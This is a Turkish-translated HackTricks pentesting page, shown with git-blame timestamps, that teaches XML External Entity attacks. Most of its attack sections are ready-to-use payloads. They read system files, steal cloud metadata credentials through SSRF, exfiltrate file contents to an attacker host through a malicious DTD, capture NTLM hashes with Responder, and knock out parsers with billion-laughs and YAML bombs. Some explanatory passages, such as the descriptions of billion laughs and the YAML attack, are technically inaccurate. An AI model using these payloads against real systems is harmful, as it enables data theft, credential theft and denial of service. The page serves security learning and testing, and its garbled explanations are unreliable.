hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

810 lines
46 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# XXE - XEE - XML Harici Varlık
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## XML Temelleri
2024-02-10 18:14:16 +00:00
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı adlandırılmış etiketlerin kullanımına izin veren esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış bir etiket kümesine sınırlı olmamasıyla farklılık gösterir. JSON'un yükselişiyle XML'nin önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolüne rağmen.
2024-02-10 18:14:16 +00:00
- **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `&lt;` ve `&gt;` gibi özel karakterlerin temsil edilmesini sağlar. Bu karakterler, XML'in etiket sistemiyle çakışmayı önlemek için `<` ve `>` ile eşleşir.
2024-02-10 18:14:16 +00:00
- **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına izin verir ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler. İçerik türünden belirli alt elemanlara kadar her türlü içeriği içerebilir.
2024-02-10 18:14:16 +00:00
- **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler ve belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirirler.
2024-02-10 18:14:16 +00:00
- **Özel ve Harici Varlıklar**: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişelerine neden olur. Bu saldırılar, XML ayrıştırıcılarının harici veri kaynaklarını nasıl işlediğini sömürür: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
2024-02-10 18:14:16 +00:00
- **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, özellikle XXE zafiyetlerini tespit etmek için XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyen veya kontrol edilen bir alan adına HTTP istekleri gönderen gibi bağlantı dışı tespit tekniklerine izin verir ve zafiyeti doğrular.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
2024-02-10 18:14:16 +00:00
## Ana saldırılar
2024-02-10 18:14:16 +00:00
**[Bu saldırıların çoğu, harika Portswiggers XEE laboratuvarları kullanılarak test edildi: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
2024-02-10 18:14:16 +00:00
### Yeni Varlık testi
2024-02-10 18:14:16 +00:00
Bu saldırıda, basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
2024-02-10 18:14:16 +00:00
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)
2024-02-10 18:14:16 +00:00
### Dosya Okuma
2024-02-10 18:14:16 +00:00
Farklı yollarla `/etc/passwd` dosyasını okumayı deneyelim. Windows için `C:\windows\system32\drivers\etc\hosts` dosyasını okumayı deneyebilirsiniz.
2024-02-10 18:14:16 +00:00
Bu ilk durumda, dikkat edin ki SYSTEM "_\*\*file:///\*\*etc/passwd_" da çalışacaktır.
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)
2024-02-10 18:14:16 +00:00
Bu ikinci durum, web sunucusunun PHP kullandığı durumlarda bir dosya çıkarmak için kullanışlı olabilir (Portswiggers laboratuvarlarının durumu değil).
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
2024-02-10 18:14:16 +00:00
Bu üçüncü durumda, `Element stockCheck`'i ANY olarak tanımladığımızı farkedin.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
2024-02-10 18:14:16 +00:00
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (222) (1).png>)
2024-02-10 18:14:16 +00:00
### Dizin listeleme
2021-08-03 11:46:59 +00:00
2024-02-10 18:14:16 +00:00
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir dizinin içeriğini listelemek mümkün olabilir. Aşağıdaki gibi bir payload ile (dosya yerine sadece dizini isteyerek):
2024-02-06 03:10:38 +00:00
```xml
2021-08-03 11:46:59 +00:00
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
2024-02-10 18:14:16 +00:00
Bir XXE, bir bulutta bir SSRF'yi kötüye kullanmak için kullanılabilir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
### Kör SSRF
2024-02-10 18:14:16 +00:00
Önceden yorumlanan teknik kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, muhtemelen **XML varlıklarına izin verilmiyor** demektir. Bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
### "Kör" SSRF - Verileri dışarıya çıkar
2024-02-10 18:14:16 +00:00
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek olan kötü amaçlı bir yük içeren yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu** _**ftp://**_** üzerinden dışarıya çıkarmayı deneyebilirsiniz). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınmıştır.**
2024-02-10 18:14:16 +00:00
Kötü amaçlı DTD'de, verileri dışarıya çıkarmak için bir dizi adım gerçekleştirilir:
2024-02-10 18:14:16 +00:00
### Kötü Amaçlı DTD Örneği:
Yapı aşağıdaki gibidir:
2024-02-05 02:29:11 +00:00
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
2024-02-10 18:14:16 +00:00
Bu DTD tarafından gerçekleştirilen adımlar şunlardır:
2024-02-10 18:14:16 +00:00
1. **Parametre Varlıklarının Tanımlanması:**
- `/etc/hostname` dosyasının içeriğini okuyan bir XML parametre varlığı olan `%file` oluşturulur.
- Başka bir XML parametre varlığı olan `%eval` tanımlanır. Dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizgisinde `%file` varlığının içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
2024-02-10 18:14:16 +00:00
2. **Varlıkların Yürütülmesi:**
- `%eval` varlığı kullanılır ve `%exfiltrate` varlığının dinamik bildiriminin yürütülmesine yol açar.
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriğini içeren belirtilen URL'ye HTTP isteği yapar.
2024-02-10 18:14:16 +00:00
Saldırgan, bu kötü amaçlı DTD'yi genellikle `http://web-attacker.com/malicious.dtd` gibi kendi kontrolündeki bir sunucuda barındırır.
2024-02-05 02:29:11 +00:00
2024-02-10 18:14:16 +00:00
**XXE Yükü:**
Zafiyetli bir uygulamayı sömürmek için saldırgan bir XXE yükü gönderir:
2024-02-05 02:29:11 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
Bu payload, XML parametre varlığı `%xxe`'yi tanımlar ve bunu DTD içine dahil eder. Bir XML ayrıştırıcı tarafından işlendiğinde, bu payload saldırganın sunucusundan harici DTD'yi alır. Ayrıştırıcı daha sonra DTD'yi içeride yorumlar ve kötü amaçlı DTD'de belirtilen adımları gerçekleştirerek `/etc/hostname` dosyasının saldırganın sunucusuna sızmasına neden olur.
2024-02-05 02:29:11 +00:00
2024-02-10 18:14:16 +00:00
### Hata Tabanlı (Harici DTD)
2024-02-10 18:14:16 +00:00
**Bu durumda, sunucunun hata mesajlarını görebiliyorsanız, bir dosyanın içeriğini bir hata mesajında gösteren kötü amaçlı bir DTD yüklemesini sağlayacağız.** [**Buradan örnek alınmıştır.**](https://portswigger.net/web-security/xxe/blind)
2024-02-10 18:14:16 +00:00
Kötü amaçlı bir harici Document Type Definition (DTD) kullanarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası mesajı tetiklenebilir. Bunun için aşağıdaki adımlar izlenir:
2024-02-10 18:14:16 +00:00
1. `/etc/passwd` dosyasının içeriğini içeren `file` adında bir XML parametre varlığı tanımlanır.
2. `eval` adında bir XML parametre varlığı tanımlanır ve `error` adında başka bir XML parametre varlığı için dinamik bir bildirim içerir. Bu `error` varlığı değerlendirildiğinde, `file` varlığının içeriğini adı olarak kullanarak var olmayan bir dosya yüklemeye çalışır.
3. `eval` varlığı çağrılır ve `error` varlığının dinamik olarak bildirilmesine yol açar.
4. `error` varlığının çağrılması, var olmayan bir dosya yüklemeye çalışarak, `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
2024-02-10 18:14:16 +00:00
Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
## XXE (XML External Entity) - Dışsal XML Varlık
2024-02-10 18:14:16 +00:00
Yürütüldüğünde, web sunucusunun yanıtı `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (223) (1).png>)
2024-02-10 18:14:16 +00:00
_**Lütfen dikkat edin, harici DTD, ikinci bir varlığı (****`eval`****) içermemize izin verir, ancak içsel DTD'de bu yasaktır. Bu nedenle, genellikle harici bir DTD kullanmadan bir hata zorlayamazsınız.**_
2024-02-10 18:14:16 +00:00
### **Hata Tabanlı (sistem DTD)**
2024-02-10 18:14:16 +00:00
Peki, **dış bağlantılar engellendiğinde** (harici bağlantılar kullanılamaz), kör XXE zafiyetleri hakkında ne düşünüyorsunuz?
2024-02-10 18:14:16 +00:00
XML dil spesifikasyonundaki bir açık, bir belgenin DTD'sinin iç ve dış bildirimleri birleştirdiğinde hata mesajları aracılığıyla hassas verilerin ortaya çıkmasına neden olabilir. Bu sorun, harici bir DTD'de orijinal olarak bildirilen bir XML parametre varlığının içsel bir DTD içinden yeniden tanımlanmasına izin vererek hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganlar hassas bilgileri ortaya çıkarmak için yerel DTD dosyalarına güvenmek zorundadır.
2024-02-10 18:14:16 +00:00
Sunucunun dosya sistemi `/usr/local/app/schema.dtd` konumunda bir DTD dosyası içeriyorsa ve bu dosyada `custom_entity` adında bir varlık tanımlanmışsa, saldırgan aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaracak bir XML ayrıştırma hatası oluşturabilir:
2024-02-04 16:10:29 +00:00
```xml
<!DOCTYPE foo [
2024-02-10 18:14:16 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
2024-02-10 18:14:16 +00:00
Aşağıda belirtilen adımlar bu DTD tarafından gerçekleştirilir:
2024-02-10 18:14:16 +00:00
- `local_dtd` adında bir XML parametre varlık tanımı, sunucunun dosya sisteminde bulunan harici DTD dosyasını içerir.
- `custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir. Bu varlık, başlangıçta harici DTD'de tanımlanmış olup [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) içermektedir. Bu yeniden tanımlama, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir ayrıştırma hatası oluşturmak amacıyla tasarlanmıştır.
- `local_dtd` varlığı kullanılarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu işlemler dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
2024-02-10 18:14:16 +00:00
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
2024-02-10 18:14:16 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)
2024-02-10 18:14:16 +00:00
Bu teknik, bir **dahili DTD kullandığından önce geçerli bir DTD bulmanız gerekmektedir**. Bunun için, sunucunun kullandığı **işletim sistemi/yazılımı yükleyerek** veya sistemlerin içindeki **varsayılan DTD'lerin bir listesini alarak** ve **var olup olmadığını kontrol ederek** aynı DTD'leri arayabilirsiniz:
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresini kontrol edin.
2024-02-10 18:14:16 +00:00
### Sistem içinde DTD'leri bulma
2021-05-01 17:36:21 +00:00
2024-02-10 18:14:16 +00:00
Aşağıdaki harika github deposunda, sistemde bulunabilecek DTD'lerin yollarını bulabilirsiniz:
2021-05-01 17:36:21 +00:00
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
2024-02-10 18:14:16 +00:00
Ayrıca, **kurban sistemin Docker görüntüsüne** sahipseniz, aynı depodaki aracı kullanarak **görüntüyü tarama** ve sistem içinde bulunan **DTD'lerin yolunu bulma** imkanınız vardır. Nasıl yapılacağını öğrenmek için [github'ın Readme](https://github.com/GoSecure/dtd-finder) dosyasını okuyun.
2021-05-01 17:36:21 +00:00
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
2024-02-10 18:14:16 +00:00
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
2024-02-10 18:14:16 +00:00
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
```
2024-02-10 18:14:16 +00:00
### Office Open XML Parseleri Aracılığıyla XXE
2021-05-01 17:36:21 +00:00
2024-02-10 18:14:16 +00:00
Bu saldırının daha ayrıntılı bir açıklaması için, **Detectify'nin [bu harika yazısının](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) ikinci bölümüne bakabilirsiniz**.
2024-02-10 18:14:16 +00:00
**Birçok web uygulaması, Microsoft Office belgelerini yüklemek için** olanak sağlar ve ardından bu belgelerden belirli ayrıntıları çıkarır. Örneğin, bir web uygulaması kullanıcıların bir XLSX formatındaki elektronik tabloyu yüklemelerine izin verebilir. Analizcilerin verileri elektronik tablodan çıkarması için en az bir XML dosyasını ayrıştırması gerekmektedir.
2024-02-10 18:14:16 +00:00
Bu zafiyeti test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak gereklidir**. İlk adım, belgenin açılabilmesi için boş bir dizin oluşturmaktır.
2024-02-10 18:14:16 +00:00
Belge açıldıktan sonra, `./unzipped/word/document.xml` konumunda bulunan XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML, genellikle bir HTTP isteğiyle başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
2024-02-10 18:14:16 +00:00
Değiştirilmiş XML satırları, iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin yerini değiştirmek önemlidir.
2024-02-10 18:14:16 +00:00
Son olarak, kötü amaçlı poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
2024-02-10 18:14:16 +00:00
Şimdi, oluşturulan dosya potansiyel olarak savunmasız olan web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir.
2024-02-10 18:14:16 +00:00
### Jar: Protokolü
2024-02-10 18:14:16 +00:00
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara hizmet eden bir **PKZIP** arşivinde dosya erişimini mümkün kılmak için tasarlanmıştır (örneğin `.zip`, `.jar`, vb.).
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece kullanışlıdır.** Sistem DTD dosyalarını kötüye kullanma hakkında bilgi edinmek için [bu bölümü kontrol edin](xxe-xee-xml-external-entity.md#error-based-system-dtd).
2021-05-01 17:36:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
PKZIP arşivi içindeki bir dosyaya jar protokolü aracılığıyla erişme süreci şu adımları içerir:
2021-05-01 17:36:21 +00:00
2024-02-10 18:14:16 +00:00
1. Belirtilen bir konumdan (`https://download.website.com/archive.zip` gibi) zip arşivini indirmek için bir HTTP isteği yapılır.
2. Arşivi içeren HTTP yanıtı geçici olarak sistemde saklanır, genellikle `/tmp/...` gibi bir konumda.
3. Arşiv, içeriğine erişmek için çıkarılır.
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
5. İşlem tamamlandıktan sonra, bu süreçte oluşturulan geçici dosyalar silinir.
2021-05-01 17:36:21 +00:00
2024-02-10 18:14:16 +00:00
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunur.
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir yol geçişi içeren başka bir zafiyeti **yükseltmeye yardımcı olabilir**.
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
2024-02-06 03:10:38 +00:00
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
2024-02-10 18:14:16 +00:00
#### DoS
2024-02-10 18:14:16 +00:00
#### Milyar Gülen Saldırısı
2024-02-10 18:14:16 +00:00
Billion Laugh Attack (Milyar Gülen Saldırısı) olarak da bilinen DoS (Hizmet Dışı Bırakma) saldırıları, XML dış etkilerini (XXE) kullanarak hedef sistemdeki kaynakları tüketmeyi amaçlar. Bu saldırı türü, hedef sistemdeki XML ayrıştırıcısının aşırı yüklenmesine neden olur.
2024-02-10 18:14:16 +00:00
Bu saldırı, bir XML dosyasında yer alan bir dış etki tanımı (external entity definition) kullanılarak gerçekleştirilir. Bu tanım, bir varlık (entity) olarak adlandırılan bir dış dosyaya veya kaynağa işaret eder. Saldırgan, bu varlık referansını bir milyar kez tekrarlayarak XML ayrıştırıcısının aşırı yüklenmesine neden olur.
Bu saldırı sonucunda, hedef sistemdeki kaynaklar tükenir ve hizmetler kullanılamaz hale gelir. Bu tür saldırılar, hedef sistemdeki XML ayrıştırıcısının yanıt vermemesine veya çökmesine neden olabilir.
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
2024-02-10 18:14:16 +00:00
#### Yaml Saldırısı
Yaml saldırısı, YAML (YAML Ain't Markup Language) dosyalarının işlenmesi sırasında ortaya çıkan bir güvenlik açığıdır. Bu saldırı, XML External Entity (XXE) saldırısına benzer bir şekilde çalışır. YAML, yapılandırma dosyalarını temsil etmek için kullanılan bir veri serileştirme formatıdır.
2024-02-10 18:14:16 +00:00
Yaml saldırısı, YAML dosyasının içine yerleştirilen kötü niyetli bir dış etki (external entity) kullanarak gerçekleştirilir. Bu dış etki, YAML işlemleyicisi tarafından işlenirken, sistemdeki hassas bilgilere erişim sağlayabilir veya istismar edilebilir.
2024-02-10 18:14:16 +00:00
Yaml saldırısı, bir hedefin YAML dosyasını işlerken, dış etkilerin yüksek ayrıcalıklara sahip bir sunucuya erişmesine izin verebilir. Bu, saldırganın hedef sistemi ele geçirmesine ve yetkisiz işlemler gerçekleştirmesine olanak tanır.
Yaml saldırılarından korunmak için, güvenlik açıklarını en aza indirmek için güvenilir bir YAML işlemleyici kullanılmalıdır. Ayrıca, kullanıcı girişlerinin doğrulanması ve güvenli bir şekilde işlenmesi önemlidir.
2024-02-06 03:10:38 +00:00
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
2024-02-10 18:14:16 +00:00
#### Karesel Patlama Saldırısı
![](<../.gitbook/assets/image (531).png>)
2024-02-10 18:14:16 +00:00
#### NTML Elde Etme
2024-02-10 18:14:16 +00:00
Windows ana bilgisayarlarında, bir responder.py işleyici ayarlayarak web sunucusu kullanıcısının NTML karmaşasını elde etmek mümkündür:
2024-02-06 03:10:38 +00:00
```bash
Responder.py -I eth0 -v
```
2024-02-10 18:14:16 +00:00
ve aşağıdaki isteği göndererek
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
2024-02-10 18:14:16 +00:00
Ardından hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
2024-02-10 18:14:16 +00:00
## Gizli XXE Yüzeyleri
2022-09-30 10:43:59 +00:00
### XInclude
2024-02-10 18:14:16 +00:00
Müşteri verilerini sunucu tarafında XML belgelerine entegre ederken, özellikle arka uç SOAP isteklerinde, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır ve `DOCTYPE` öğesini değiştirmek kısıtlanır, bu da geleneksel XXE saldırılarını engeller. Bununla birlikte, `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafında oluşturulan XML belgesinin bir kısmı kontrol edilebildiğinde bile etkilidir.
2024-02-10 18:14:16 +00:00
Bir `XInclude` saldırısı gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve hedeflenen harici varlık için dosya yolu belirtilmesi gerekmektedir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
2024-02-04 16:10:29 +00:00
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
2024-02-10 18:14:16 +00:00
### SVG - Dosya Yükleme
2024-02-04 16:10:29 +00:00
2024-02-10 18:14:16 +00:00
Kullanıcılar tarafından belirli uygulamalara yüklenen ve ardından sunucuda işlenen dosyalar, XML veya XML içeren dosya biçimlerinin nasıl işlendiği konusunda güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
2024-02-10 18:14:16 +00:00
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimlerini de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Kaynak) güvenlik açıklarına maruz bırakmasına olanak tanır.
2024-02-10 18:14:16 +00:00
Aşağıda böyle bir saldırının bir örneği gösterilmektedir, kötü niyetli bir SVG resmi sistem dosyalarını okumaya çalışır:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
2024-02-10 18:14:16 +00:00
